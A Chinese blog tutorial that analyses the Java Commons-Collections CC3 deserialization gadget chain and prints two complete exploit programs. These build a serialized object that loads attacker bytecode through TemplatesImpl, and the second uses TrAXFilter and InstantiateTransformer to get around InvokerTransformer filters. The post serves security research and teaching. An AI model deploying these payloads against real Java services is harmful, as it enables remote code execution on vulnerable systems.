J

JAVA反序列化(3)——CC3链

平常心 JAVA代码审计 2025-01-26

1、前言

  • CC3利用类加载机制,动态加载恶意类实现恶意代码执行。(条件:Commons-Collections 3.2.1,Java 8u71及以下版本。)
  • 绕过⼀些规则对InvokerTransformer的限制。使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
  • CC3 的 sink 点在于 defineClass() 方法,但仅加载恶意类而不初始化时是不会执行代码的,还需要通过 newInstance() 操作来触发初始化。defineClass() 方法通常是 protected 类型的,因此必须通过反射才能调用。

在 Java 中,defineClass 方法通常通过 ClassLoader 类来定义一个类。它允许你在运行时动态地加载类,将字节流转换为 Java 类。Java 默认的 ClassLoader 中的 defineClass 方法是一个 native 方法,其实现逻辑位于 JVM 的 C 语言代码中。

2、sink分析

1.从ClassLoader类寻找defineClass()方法。这里有几个重载的defineClass()方法,我们寻找到此方法。
2025-01-20T02:25:14.png
2.向上跟,存在一个内部类 TransletClassLoader ,继承了 ClassLoader并重写了 defineClass 方法。
2025-01-20T02:26:46.png
3.继续往上找,TemplatesImpl的defineTransletClasses() 调用了,并在方法内对_class赋值。因为是私有方法,所以还得往上找。
2025-01-20T02:36:40.png
2025-01-20T03:11:33.png
4.这里找到TemplatesImpl的getTransletInstance()方法。这里对__class作了判断,为空就调用defineTransletClasses(),并且在下面调用 newInstance()。所以我们重点关注此函数。
2025-01-20T03:18:31.png
5.此方法为private的,再往上跟 找到了public的newTransformer() 方法。到这里,结合CC1前半段,其实已经可以执行恶意代码了。使用InvokerTransformer方法调用newTransformer()即可。
2025-01-20T03:37:06.png
6.但CC3是为了绕过InvokerTransformer的限制。所以我们需要继续往上跟。这里找到了TrAXFilter类。虽然这个类不能序列化,但是其构造函数里调用了newTransformer()。
2025-01-20T07:17:19.png
7.到这里,再往上跟,没有什么结果。CC3的作者使用了一个新的类 InstantiateTransformer。这个类的transform方法的作用是:检查一个对象是否是 Class 类型的实例,并且如果是的话,使用反射机制通过构造函数实例化一个对象。
2025-01-20T07:33:22.png
我们完全可以通过 InstantiateTransformer.transform() 获取 TrAXFilter类的构造函数并初始化,实现 templates.newTransformer()的调用。这真的太妙了。
所以,前半段结合CC1,整个利用链为:

AnnotationInvocationHandler.readObject()# Map.entrySet()
AnnotationInvocationHandler.invoke()# memberValues.get(member)
lazyMap.get()#factory.transform(key)
ChainedTransformer.transform()
InstantiateTransformer.transform()#TrAXFilter.TrAXFilter() //这里TrAXFilter()指构造方法
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()#_class[_transletIndex].newInstance()

3、POC

1.前面说到,其实跟链到TemplatesImpl.newTransformer()就可以成功执行任意代码了。在defineTransletClasses()中,_bytecodes和_tfactory不能为空,这样才能走到_class[i] = loader.defineClass(_bytecodes[i]);,在getTransletInstance()中,_name不能为空,而_class必须为空,所以现在只需要让_bytecodes、_tfactory、_name不为空,其中_bytecodes为我们的恶意字节码。
2025-01-26T01:47:45.png
2025-01-21T02:34:11.png
那么利用反射进行赋值,再调用其newTransformer()方法就可以加载字节码,执行恶意代码:
2025-01-26T07:34:54.png
2.在TemplatesImpl.newTransformer()这里结合CC1前半段,就可以实现反序列化执行任意代码了。exp如下:

public class CC3 {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class v1 = templates.getClass();

    Field name = v1.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates, "test");

    Field bytecodes = v1.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\workplace\\java_workplace\\tmp\\test.class"));
    byte[][] codes = {bytes};
    bytecodes.set(templates, codes);


    Field tfactory = v1.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    //templates.newTransformer();
    
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null,null),
    };

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationhdlConstructor.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

    Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

    serialize(o);
    unserialize("test.bin");

 }
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("test.bin"));
    oss.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
} }

3.但我们之前说到。CC3的主要目的是绕过InvokerTransformer的限制。ysoserial作者使用TrAXFilter类绕过限制。那么现在只需要将上面的exp中

   Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null,null),
    };

改成:

   Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };

完整的EXP为:

  public class CC3 {
    public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class v1 = templates.getClass();

    Field name = v1.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates, "test");

    Field bytecodes = v1.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\workplace\\java_workplace\\tmp\\test.class"));
    byte[][] codes = {bytes};
    bytecodes.set(templates, codes);

    Field tfactory = v1.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
    };

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationhdlConstructor.setAccessible(true);
    InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

    Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

    Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

    serialize(o);
    unserialize("test.bin");

 }
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("test.bin"));
    oss.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}}

4、参考

https://github.com/phith0n/JavaThings?tab=readme-ov-file(P牛)
https://www.bilibili.com/video/BV1Zf4y1F74K/(b站白日梦组长)

评论(0)

发布评论

目录